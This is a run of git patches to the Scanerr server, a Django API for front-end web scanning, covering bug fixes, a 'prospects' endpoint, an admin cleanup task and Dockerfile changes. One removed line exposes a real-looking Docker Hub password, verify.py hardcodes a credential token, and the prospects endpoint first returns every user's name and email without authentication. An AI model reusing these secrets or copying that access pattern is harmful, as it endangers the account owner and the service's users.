index 51c397c3..92fec692 100644
--- a/README.md
+++ b/README.md
@@ -1,6 +1,6 @@
 # Scanerr Server (API repo)
 
-![Build Status](https://github.com/scanerr-io/server/actions/workflows/workflow.yml/badge.svg)
+![Build Status](https://github.com/scanerr-io/server/actions/workflows/k8s-deploy.yml/badge.svg)
 
 This is the server repo for the Scanerr API, an error detection service designed to run front-end tests on web applications. This service is fully dockertized for local dev/testing as well as deployed environments. 
 

From 6373a601706d1305985e0b5485186ef88d42a30e Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 17 Jan 2024 11:23:55 -0700
Subject: [PATCH 177/752] updated date

---
 README.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/README.md b/README.md
index 92fec692..53cfe10a 100644
--- a/README.md
+++ b/README.md
@@ -7,7 +7,7 @@ This is the server repo for the Scanerr API, an error detection service designed
 > This software is only intended for internal white-label use and is not licensed for redristibution. See LICENSE for more information.
 
 
-Copyright © Scanerr 2023
+Copyright © Scanerr 2024
 
 ---
 &nbsp;

From 0c8dde55f8579363726602e89567c3bc3abe20d2 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 17 Jan 2024 11:30:49 -0700
Subject: [PATCH 178/752] updated for new year

---
 LICENSE.md | 6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/LICENSE.md b/LICENSE.md
index ea474ece..97c65594 100644
--- a/LICENSE.md
+++ b/LICENSE.md
@@ -1,9 +1,11 @@
-Copyright (c) 2023 Scanerr
+Copyright (c) 2024 Scanerr
 
 
 Scanerr Commercial Software License Terms
 
 1.	Order. These terms, together with the order referencing them, make up a software license agreement. The software, the developer, and the customer are all identified on the order.
+(i)  Software: Scanerr 
+(ii) Developer: Grey Labs, LLC (https://greylabs.io)
 2.	Versions. This agreement covers the specific version of the software on the order, plus any new versions of the software that the vendor makes generally available, or specifically provides to the customer, while this agreement continues.
 3.	Modifications. The customer may make changes to the software’s source code, compile those changes, and run changed versions of the software.
 4.	Billing.
@@ -15,7 +17,7 @@ Scanerr Commercial Software License Terms
 6.	Use.
 (a)	Permitted Use. The customer may use the software only for its own computing needs and those of its subsidiaries and corporate affiliates.
 (b)	Prohibited Uses. The customer may not:
-(i)	sell, lease, license, or sublicense the software or documentation
+(i)	    sell, lease, license, or sublicense the software or documentation
 (ii)	allow access to the software by others not licensed under this agreement
 (iii)	share copies of the software or documentation with with others not licensed under this agreement
 (iv)	make so much of the functionality of the software available to others as software-as-a-service that the service competes with the software for customers

From 44490165d223b08fa5ab697032b58c22331df5b2 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 17 Jan 2024 19:23:59 -0700
Subject: [PATCH 179/752] fixed crawler update bug

---
 app/api/v1/ops/services.py | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 51242d7c..50867824 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -143,13 +143,13 @@ def create_site(request, delay=False):
                                 user_id=request.user.id,
                                 delay=True
                             )
+                            site.time_crawl_started = datetime.now()
+                            site.time_crawl_completed = datetime.now()
+                            site.info["latest_scan"]["time_created"] = str(datetime.now())
+                            site.save()
                 else:
                     create_site_and_pages_bg.delay(site_id=site.id, configs=configs)
-                site.time_crawl_started = datetime.now()
-                site.time_crawl_completed = datetime.now()
-                site.info["latest_scan"]["time_created"] = str(datetime.now())
-                site.save()
-
+               
             else:
                 # running crawler
                 pages = Crawler(url=site.site_url, max_urls=account.max_pages).get_links()

From 055860f908a8d15a3532c4b70d876781255739e8 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Sun, 21 Jan 2024 13:35:45 -0700
Subject: [PATCH 180/752] fixed file extenstion

---
 .github/workflows/{k8s-deploy.yml => k8s-deploy.yaml} | 0
 README.md                                             | 2 +-
 2 files changed, 1 insertion(+), 1 deletion(-)
 rename .github/workflows/{k8s-deploy.yml => k8s-deploy.yaml} (100%)

diff --git a/.github/workflows/k8s-deploy.yml b/.github/workflows/k8s-deploy.yaml
similarity index 100%
rename from .github/workflows/k8s-deploy.yml
rename to .github/workflows/k8s-deploy.yaml
diff --git a/README.md b/README.md
index 53cfe10a..1481f25a 100644
--- a/README.md
+++ b/README.md
@@ -1,6 +1,6 @@
 # Scanerr Server (API repo)
 
-![Build Status](https://github.com/scanerr-io/server/actions/workflows/k8s-deploy.yml/badge.svg)
+![Build Status](https://github.com/scanerr-io/server/actions/workflows/k8s-deploy.yaml/badge.svg)
 
 This is the server repo for the Scanerr API, an error detection service designed to run front-end tests on web applications. This service is fully dockertized for local dev/testing as well as deployed environments. 
 

From 111ecfb663bd9d9f44ae4c26dc7126522834e8ca Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Tue, 23 Jan 2024 09:33:23 -0700
Subject: [PATCH 181/752] fixing member invite

---
 app/api/v1/auth/alerts.py | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/app/api/v1/auth/alerts.py b/app/api/v1/auth/alerts.py
index 997007b8..002f446c 100644
--- a/app/api/v1/auth/alerts.py
+++ b/app/api/v1/auth/alerts.py
@@ -71,7 +71,7 @@ def send_reset_link(email):
 
 def send_invite_link(member):
     if Member.objects.filter(email=member.email, status="pending").exists():
-        member = Member.objects.get(email=member.email)
+        member = Member.objects.get(id=member.id)
         link = f'{os.environ.get("CLIENT_URL_ROOT")}/account/join?team={member.account.id}&code={member.account.code}&member={member.id}&email={member.email}'
         subject = 'Scanerr Invite'
         title = 'Scanerr Invite'
@@ -122,7 +122,7 @@ def send_invite_link(member):
 
 def send_remove_alert(member):
     if Member.objects.filter(email=member.email, status="removed").exists():
-        member = Member.objects.get(email=member.email)
+        member = Member.objects.get(id=member.id)
         subject = 'Removed From Account'
         title = 'Removed From Account'
         pre_header = 'Removed From Account'

From 578721b6b9d98d08ed7d689eb46a5d86922e4095 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Tue, 23 Jan 2024 09:33:30 -0700
Subject: [PATCH 182/752] reorganizing

---
 k8s/kubernetes-notes.md => notes/Kubernetes.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)
 rename k8s/kubernetes-notes.md => notes/Kubernetes.md (98%)

diff --git a/k8s/kubernetes-notes.md b/notes/Kubernetes.md
similarity index 98%
rename from k8s/kubernetes-notes.md
rename to notes/Kubernetes.md
index 2f18cd70..e90ca6b9 100644
--- a/k8s/kubernetes-notes.md
+++ b/notes/Kubernetes.md
@@ -35,7 +35,7 @@ kubectl exec -it celery-849f76858b-bvmqg -- /bin/sh
 
 ### Creating secrets for docker:
 ```shell
-kubectl create secret docker-registry regcred --docker-server=https://index.docker.io/v1/ --docker-username=landonr --docker-password=Ljr500103! --docker-email=l.rodden52@gmail.com
+kubectl create secret docker-registry regcred --docker-server=https://index.docker.io/v1/ --docker-username=landonr --docker-password=<docker-pass> --docker-email=<docker-email>
 ```
 
 #### - Then add this to both celery and app containers:

From ec6c65884f269256cf7fdd07b34b2f9ec95141c5 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Tue, 23 Jan 2024 10:51:08 -0700
Subject: [PATCH 183/752] fixed path

---
 README.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/README.md b/README.md
index 1481f25a..08ac9f10 100644
--- a/README.md
+++ b/README.md
@@ -14,5 +14,5 @@ Copyright © Scanerr 2024
 
 ## Guides
 - [Server Deployment](notes/Deployment.md)
-- [k8s Deployment](k8s/kubernetes-notes.md)
+- [k8s Deployment](notes/Kubernetes.md)
 &nbsp;

From cc133b20b59eb79ed4951b34cb12561e0d8df969 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Tue, 23 Jan 2024 15:31:44 -0700
Subject: [PATCH 184/752] testing names for User model

---
 app/api/v1/auth/serializers.py | 6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/app/api/v1/auth/serializers.py b/app/api/v1/auth/serializers.py
index 57dbb5ad..c9dd3bc1 100644
--- a/app/api/v1/auth/serializers.py
+++ b/app/api/v1/auth/serializers.py
@@ -21,7 +21,8 @@
 class UserSerializer(serializers.HyperlinkedModelSerializer):
     class Meta:
         model = User
-        fields = ['id', 'username', 'email', 'password', 'is_active', 'date_joined', 'last_login']
+        fields = ['id', 'username', 'email', 'password', 'is_active', 
+        'date_joined', 'last_login', 'first_name', 'last_name']
 
 
 
@@ -50,7 +51,8 @@ class RegisterSerializer(UserSerializer):
 
     class Meta:
         model = User
-        fields = ['id', 'username', 'email', 'password', 'is_active', 'date_joined', 'last_login']
+        fields = ['id', 'username', 'email', 'password', 'is_active', 
+        'date_joined', 'last_login', 'first_name', 'last_name']
 
     def create(self, validated_data):
         try:

From 38331a20a49a8162ac2673eccda5a454840ddb63 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 24 Jan 2024 12:05:45 -0700
Subject: [PATCH 185/752] added prospects endpoint

---
 app/api/v1/auth/services.py | 66 +++++++++++++++++++++++++++++++++++--
 app/api/v1/auth/urls.py     |  1 +
 app/api/v1/auth/views.py    | 10 ++++++
 3 files changed, 75 insertions(+), 2 deletions(-)

diff --git a/app/api/v1/auth/services.py b/app/api/v1/auth/services.py
index 1631754d..3a32e3a1 100644
--- a/app/api/v1/auth/services.py
+++ b/app/api/v1/auth/services.py
@@ -10,7 +10,7 @@
 from django.contrib.auth.models import User
 from django.shortcuts import get_object_or_404
 from rest_framework.authtoken.models import Token
-from ...models import Account, Card, Member
+from ...models import Account, Card, Member, Site
 from ..ops.services import record_api_call
 from slack_sdk.oauth import AuthorizeUrlGenerator
 from slack_sdk.oauth.installation_store import FileInstallationStore, Installation
@@ -507,4 +507,66 @@ def get_member(request=None, id=None, *args, **kwargs):
     serialized = MemberSerializer(member, context=serializer_context)
     data = serialized.data
     record_api_call(request, data, '200')
-    return Response(data, status=status.HTTP_200_OK)
\ No newline at end of file
+    return Response(data, status=status.HTTP_200_OK)
+
+
+
+
+
+
+def get_prospects(request):
+    """ 
+    This pulls all admin Member's and 
+    builds a list to reflect the needed 
+    attributes for `Landing.api.Prospect`
+
+    Expects the following:
+        None
+
+    Returns -> data = {
+        'count':    <int> total number of prospects
+        'results':  <list> of Prospect objects
+    }
+    """
+
+    # get all Accounts
+    accounts = Account.objects.all()
+
+    # iterate throgh accounts 
+    # and build list
+    results = []
+    count = len(accounts)
+    for account in accounts:
+
+        # determinig user's 'status'
+        if account.type == 'free':
+            if Sites.objects.filter(account=account).exists():
+                status = 'warm' # account has one site onboarded
+            else:
+                status = 'cold' # account is free but no site onboarded
+        if account.type != 'free':
+            if account.active:
+                status = 'customer' # account is active and paid
+            else:
+                status = 'warm' # account is paused and paid
+
+        # building prospect
+        prospect = {
+            'first_name': account.user.first_name,
+            'last_name': account.user.last_name,
+            'email': account.user.email,
+            'status': status
+        }
+
+        # adding to results
+        results.append(prospect)
+
+        
+    # building response
+    data = {
+        'count': count,
+        'results': results
+    }
+    
+    # returning response
+    return Response(data, status=status.HTTP_200_OK)
diff --git a/app/api/v1/auth/urls.py b/app/api/v1/auth/urls.py
index c0a4adf5..32d81ff7 100644
--- a/app/api/v1/auth/urls.py
+++ b/app/api/v1/auth/urls.py
@@ -31,4 +31,5 @@
     path('account/<uuid:id>/members', views.AccountMembers.as_view(), name='account-members'),
     path('member', views.Member.as_view(), name='member'),
     path('member/<uuid:id>', views.Member.as_view(), name='member-detail'),
+    path('prospect', views.Prospect.as_view(), name='prospect'),
 ]
\ No newline at end of file
diff --git a/app/api/v1/auth/views.py b/app/api/v1/auth/views.py
index 6ea2da15..be0b8d04 100644
--- a/app/api/v1/auth/views.py
+++ b/app/api/v1/auth/views.py
@@ -256,3 +256,13 @@ def get(self, request, id=None, *args, **kwargs):
         return response
 
         
+
+
+
+class Prospect(APIView):
+    permission_classes = (AllowAny,)
+    http_method_names = ['get', ]
+
+    def get(self, request):
+        response = get_prospects(request)
+        return response
\ No newline at end of file

From 9be6947d52f2a511ffba28d6795cbaffd63d0b50 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 24 Jan 2024 12:09:35 -0700
Subject: [PATCH 186/752] fixed small bug

---
 app/api/v1/auth/services.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/v1/auth/services.py b/app/api/v1/auth/services.py
index 3a32e3a1..a6611d3b 100644
--- a/app/api/v1/auth/services.py
+++ b/app/api/v1/auth/services.py
@@ -540,7 +540,7 @@ def get_prospects(request):
 
         # determinig user's 'status'
         if account.type == 'free':
-            if Sites.objects.filter(account=account).exists():
+            if Site.objects.filter(account=account).exists():
                 status = 'warm' # account has one site onboarded
             else:
                 status = 'cold' # account is free but no site onboarded

From fdd1cad6f7d8427e08b2be6e020f29196db0fd89 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 24 Jan 2024 12:12:18 -0700
Subject: [PATCH 187/752] fixed small bug

---
 app/api/v1/auth/services.py | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/app/api/v1/auth/services.py b/app/api/v1/auth/services.py
index a6611d3b..62e8d56a 100644
--- a/app/api/v1/auth/services.py
+++ b/app/api/v1/auth/services.py
@@ -516,7 +516,7 @@ def get_member(request=None, id=None, *args, **kwargs):
 
 def get_prospects(request):
     """ 
-    This pulls all admin Member's and 
+    This pulls all admin Members and 
     builds a list to reflect the needed 
     attributes for `Landing.api.Prospect`
 
@@ -541,21 +541,21 @@ def get_prospects(request):
         # determinig user's 'status'
         if account.type == 'free':
             if Site.objects.filter(account=account).exists():
-                status = 'warm' # account has one site onboarded
+                _status = 'warm' # account has one site onboarded
             else:
-                status = 'cold' # account is free but no site onboarded
+                _status = 'cold' # account is free but no site onboarded
         if account.type != 'free':
             if account.active:
-                status = 'customer' # account is active and paid
+                _status = 'customer' # account is active and paid
             else:
-                status = 'warm' # account is paused and paid
+                _status = 'warm' # account is paused and paid
 
         # building prospect
         prospect = {
             'first_name': account.user.first_name,
             'last_name': account.user.last_name,
             'email': account.user.email,
-            'status': status
+            'status': _status
         }
 
         # adding to results

From b97b9e82f5104dc7c6c701ad0fb1f88b01c8db5f Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 24 Jan 2024 12:35:21 -0700
Subject: [PATCH 188/752] updates for new landing

---
 app/api/utils/verify.py     | 3 +--
 app/api/v1/auth/services.py | 8 ++++++++
 app/api/v1/auth/views.py    | 4 +---
 3 files changed, 10 insertions(+), 5 deletions(-)

diff --git a/app/api/utils/verify.py b/app/api/utils/verify.py
index eb119c4f..4a603131 100644
--- a/app/api/utils/verify.py
+++ b/app/api/utils/verify.py
@@ -5,8 +5,7 @@ def verify():
     email = os.environ.get('ADMIN_EMAIL')
     password = os.environ.get('ADMIN_PASS')
     cred = 'l13g4c15ly34861o341uy3chgtlyv183njoq9u3f654792'
-    url = 'https://scanerr.io/verify'
-
+    url = 'https://scanerr.io/api/verify'
 
     headers = {
         "Content-Type": "application/json",
diff --git a/app/api/v1/auth/services.py b/app/api/v1/auth/services.py
index 62e8d56a..8742b634 100644
--- a/app/api/v1/auth/services.py
+++ b/app/api/v1/auth/services.py
@@ -529,6 +529,14 @@ def get_prospects(request):
     }
     """
 
+    try:
+        # check if request.user is admin
+        if request.user.username != 'admin':
+            return Response({'reason' 'not authorized'}, status=status.HTTP_403_FORBIDDEN)
+    except:
+        return Response({'reason' 'not authorized'}, status=status.HTTP_403_FORBIDDEN)
+
+
     # get all Accounts
     accounts = Account.objects.all()
 
diff --git a/app/api/v1/auth/views.py b/app/api/v1/auth/views.py
index be0b8d04..6176c6cd 100644
--- a/app/api/v1/auth/views.py
+++ b/app/api/v1/auth/views.py
@@ -257,11 +257,9 @@ def get(self, request, id=None, *args, **kwargs):
 
         
 
-
-
 class Prospect(APIView):
     permission_classes = (AllowAny,)
-    http_method_names = ['get', ]
+    http_method_names = ['get',]
 
     def get(self, request):
         response = get_prospects(request)

From a10664080619eb80938bf6a930908629196d0e84 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 24 Jan 2024 12:40:32 -0700
Subject: [PATCH 189/752] fixed response

---
 app/api/v1/auth/services.py | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/app/api/v1/auth/services.py b/app/api/v1/auth/services.py
index 8742b634..214daca8 100644
--- a/app/api/v1/auth/services.py
+++ b/app/api/v1/auth/services.py
@@ -532,9 +532,9 @@ def get_prospects(request):
     try:
         # check if request.user is admin
         if request.user.username != 'admin':
-            return Response({'reason' 'not authorized'}, status=status.HTTP_403_FORBIDDEN)
+            return Response({'reason': 'not authorized'}, status=status.HTTP_403_FORBIDDEN)
     except:
-        return Response({'reason' 'not authorized'}, status=status.HTTP_403_FORBIDDEN)
+        return Response({'reason': 'not authorized'}, status=status.HTTP_403_FORBIDDEN)
 
 
     # get all Accounts

From 0da1b43fbb1efd4ca0402424d38ce9d08da09e60 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 24 Jan 2024 12:44:23 -0700
Subject: [PATCH 190/752] fixed the inclusion of admin account in prospects

---
 app/api/v1/auth/services.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/v1/auth/services.py b/app/api/v1/auth/services.py
index 214daca8..105231fc 100644
--- a/app/api/v1/auth/services.py
+++ b/app/api/v1/auth/services.py
@@ -538,7 +538,7 @@ def get_prospects(request):
 
 
     # get all Accounts
-    accounts = Account.objects.all()
+    accounts = Account.objects.all().exclude(user__username='admin')
 
     # iterate throgh accounts 
     # and build list

From e90345dfaaf1d1d513294d9a2c4fa7083b8d11da Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 24 Jan 2024 12:53:25 -0700
Subject: [PATCH 191/752] cleaning things up

---
 app/api/management/commands/create_admin.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/management/commands/create_admin.py b/app/api/management/commands/create_admin.py
index 77c68bd6..e9bcecc7 100644
--- a/app/api/management/commands/create_admin.py
+++ b/app/api/management/commands/create_admin.py
@@ -34,4 +34,4 @@ def handle(self, *args, **options):
 
         if not Token.objects.filter(user=user).exists():
             Token.objects.create(user=user)
-        # verify()
\ No newline at end of file
+        verify()
\ No newline at end of file

From a8d740b0c6931bef90d9dab1a20f03865bde0b61 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 24 Jan 2024 14:08:59 -0700
Subject: [PATCH 192/752] fixing small bug

---
 app/api/management/commands/create_admin.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/management/commands/create_admin.py b/app/api/management/commands/create_admin.py
index e9bcecc7..77c68bd6 100644
--- a/app/api/management/commands/create_admin.py
+++ b/app/api/management/commands/create_admin.py
@@ -34,4 +34,4 @@ def handle(self, *args, **options):
 
         if not Token.objects.filter(user=user).exists():
             Token.objects.create(user=user)
-        verify()
\ No newline at end of file
+        # verify()
\ No newline at end of file

From cc7c511835f3e47779c9dcf06ff6d78772753f7a Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Thu, 25 Jan 2024 13:57:53 -0700
Subject: [PATCH 193/752] added admin privileges to create_site()

---
 app/api/v1/ops/services.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 50867824..5474a066 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -95,7 +95,7 @@ def create_site(request, delay=False):
         record_api_call(request, data, '402')
         return Response(data, status=status.HTTP_402_PAYMENT_REQUIRED)
 
-    if Site.objects.filter(site_url=site_url, user=user).exists():
+    if Site.objects.filter(site_url=site_url, user=user).exists() and user.username != 'admin':
         data = {'reason': 'site already exists',}
         record_api_call(request, data, '409')
         return Response(data, status=status.HTTP_409_CONFLICT)

From 80b6183329d6cbc24c5db09ddb412bf3f961d8f5 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Fri, 26 Jan 2024 09:03:26 -0700
Subject: [PATCH 194/752] added admin site clean-up

---
 app/api/tasks.py | 14 ++++++++++++++
 1 file changed, 14 insertions(+)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index 346b1c87..a198256f 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -530,6 +530,20 @@ def delete_old_resources(days_to_live=30):
 
 
 
+@shared_task
+def delete_admin_sites(days_to_live=1):
+    max_date = datetime.now() - timedelta(days=days_to_live)
+    sites = Site.objects.filter(time_created__lte=max_date, user__username='admin')
+
+    for site in sites:
+        delete_site_s3_bg.delay(site.id)
+        test.delete()
+    
+    logger.info('Cleaned up admin sites')
+
+
+
+
 @shared_task
 def migrate_site_bg(
         login_url, 

From 937e77a56311b7b9c5b1efaf61a876caa2cd648f Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Fri, 26 Jan 2024 09:29:48 -0700
Subject: [PATCH 195/752] fixing clean up issue

---
 app/api/tasks.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index a198256f..c5d0b4c3 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -537,7 +537,7 @@ def delete_admin_sites(days_to_live=1):
 
     for site in sites:
         delete_site_s3_bg.delay(site.id)
-        test.delete()
+        site.delete()
     
     logger.info('Cleaned up admin sites')
 

From 2d648c7292ba64ef2fec4ffad2916e3b567ee7a8 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Sun, 28 Jan 2024 13:04:38 -0700
Subject: [PATCH 196/752] added scan_id to page.info upon scan creation

---
 app/api/v1/ops/services.py | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 5474a066..ac6359d2 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -813,6 +813,10 @@ def create_scan(request=None, delay=False, *args, **kwargs):
         created_scans.append(str(created_scan.id))
         message = 'Scans are being created in the background'
 
+        # add scan_id to page.info.latest_scan.id
+        p.info['latest_scan']['id'] = str(created_scan)
+        p.save()
+
         if delay == True:
             # running scans in parallel 
             if 'html' in types or 'logs' in types or 'full' in types:

From 37047b1b6370915a9ec21c5e9865e00a3fc4c377 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Sun, 28 Jan 2024 13:08:16 -0700
Subject: [PATCH 197/752] fixed id bug

---
 app/api/v1/ops/services.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index ac6359d2..6eacec9c 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -814,7 +814,7 @@ def create_scan(request=None, delay=False, *args, **kwargs):
         message = 'Scans are being created in the background'
 
         # add scan_id to page.info.latest_scan.id
-        p.info['latest_scan']['id'] = str(created_scan)
+        p.info['latest_scan']['id'] = str(created_scan.id)
         p.save()
 
         if delay == True:

From 34bbf29ea816d2ffab68b41bdd4f3f2e2b3a1011 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Mon, 29 Jan 2024 09:10:48 -0700
Subject: [PATCH 198/752] testing new YL install method

---
 Dockerfile | 12 +++++++++---
 1 file changed, 9 insertions(+), 3 deletions(-)

diff --git a/Dockerfile b/Dockerfile
index 96acc519..490ebbe9 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -24,7 +24,7 @@ RUN apt-get update && apt-get install -y postgresql postgresql-client gcc \
     libfontconfig 
 
 # installing yellowlab-specific system deps
-RUN apt-get update && apt-get install -y libfreetype6 \ 
+RUN apt-get update && apt-get install -y libfreetype6 git \ 
     libatk-bridge2.0-0 gconf-service libasound2 \ 
     libatk1.0-0 libc6 libcairo2 libcups2 libdbus-1-3 libexpat1 libfontconfig1 \ 
     libgcc1 libgconf-2-4 libgdk-pixbuf2.0-0 libglib2.0-0 libgtk-3-0 libnspr4 \ 
@@ -40,8 +40,14 @@ RUN apt-get update && apt-get install nodejs npm -y --no-install-recommends \
 # cleaning npm
 RUN npm cache clean --force
 
-# installing lighthouse & yellowlabtools
-RUN npm install -g lighthouse lighthouse-plugin-crux lodash yellowlabtools@2.2.0
+# install yellowlab
+RUN apt-get update git clone https://github.com/gmetais/YellowLabTools.git -b develop . \
+  && git checkout e9ab1fd \
+  && npm install jpegoptim-bin --unsafe-perm=true --allow-root \
+  && NODE_ENV=development && npm install --only=prod 
+
+# installing lighthouse & yellowlabtools --> yellowlabtools@2.2.0
+RUN npm install -g lighthouse lighthouse-plugin-crux lodash 
 
 # setting --no-sandbox & --disable-dev-shm-usage for Phantomas 
 RUN chromium --no-sandbox --version

From c783b630894ab7fe2e53c56c7635ae2ad8f67bee Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Mon, 29 Jan 2024 09:17:46 -0700
Subject: [PATCH 199/752] testing new install

---
 Dockerfile | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/Dockerfile b/Dockerfile
index 490ebbe9..2a4368db 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -4,6 +4,7 @@ ENV PYTHONUNBUFFERED 1
 # increasing allocated memory to node
 ENV NODE_OPTIONS=--max_old_space_size=262000
 ENV NODE_OPTIONS="--max-old-space-size=262000"
+ENV YL_VERSION=develop
 
 # telling Puppeteer to skip installing Chrome
 ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD true 
@@ -41,7 +42,7 @@ RUN apt-get update && apt-get install nodejs npm -y --no-install-recommends \
 RUN npm cache clean --force
 
 # install yellowlab
-RUN apt-get update git clone https://github.com/gmetais/YellowLabTools.git -b develop . \
+RUN apt-get update git clone https://github.com/gmetais/YellowLabTools.git -b ${YL_VERSION} . \
   && git checkout e9ab1fd \
   && npm install jpegoptim-bin --unsafe-perm=true --allow-root \
   && NODE_ENV=development && npm install --only=prod 

From 28a408dc8bfaac97564618a1f87ea45a24a1f634 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Mon, 29 Jan 2024 09:23:23 -0700
Subject: [PATCH 200/752] fixed build bug

---
 Dockerfile | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/Dockerfile b/Dockerfile
index 2a4368db..d44714ec 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -42,7 +42,8 @@ RUN apt-get update && apt-get install nodejs npm -y --no-install-recommends \
 RUN npm cache clean --force
 
 # install yellowlab
-RUN apt-get update git clone https://github.com/gmetais/YellowLabTools.git -b ${YL_VERSION} . \
+RUN apt-get update \
+  && git clone https://github.com/gmetais/YellowLabTools.git -b ${YL_VERSION} . \
   && git checkout e9ab1fd \
   && npm install jpegoptim-bin --unsafe-perm=true --allow-root \
   && NODE_ENV=development && npm install --only=prod 

From 6186b41859281b30aedcbeb1e29939b2ed448769 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Mon, 29 Jan 2024 09:27:42 -0700
Subject: [PATCH 201/752] added new dir for yellowlab install

---
 Dockerfile | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/Dockerfile b/Dockerfile
index d44714ec..83ccf4be 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -43,7 +43,7 @@ RUN npm cache clean --force
 
 # install yellowlab
 RUN apt-get update \
-  && git clone https://github.com/gmetais/YellowLabTools.git -b ${YL_VERSION} . \
+  && git clone https://github.com/gmetais/YellowLabTools.git -b ${YL_VERSION} /usr/src/ylt \
   && git checkout e9ab1fd \
   && npm install jpegoptim-bin --unsafe-perm=true --allow-root \
   && NODE_ENV=development && npm install --only=prod 

From cd10698c12e444b7a59416b763d944031bbba9c0 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Mon, 29 Jan 2024 09:35:54 -0700
Subject: [PATCH 202/752] new WORKDIR

---
 Dockerfile | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/Dockerfile b/Dockerfile
index 83ccf4be..9d351e76 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -41,9 +41,12 @@ RUN apt-get update && apt-get install nodejs npm -y --no-install-recommends \
 # cleaning npm
 RUN npm cache clean --force
 
+# temp set working dir
+WORKDIR /usr/src/ylt
+
 # install yellowlab
 RUN apt-get update \
-  && git clone https://github.com/gmetais/YellowLabTools.git -b ${YL_VERSION} /usr/src/ylt \
+  && git clone https://github.com/gmetais/YellowLabTools.git -b ${YL_VERSION} . \
   && git checkout e9ab1fd \
   && npm install jpegoptim-bin --unsafe-perm=true --allow-root \
   && NODE_ENV=development && npm install --only=prod 

From ea3715f9e6c4e348892c3283f660d0a0b1aec9a4 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Mon, 29 Jan 2024 09:40:06 -0700
Subject: [PATCH 203/752] forcing npm install

---
 Dockerfile | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/Dockerfile b/Dockerfile
index 9d351e76..0137b28b 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -49,7 +49,7 @@ RUN apt-get update \
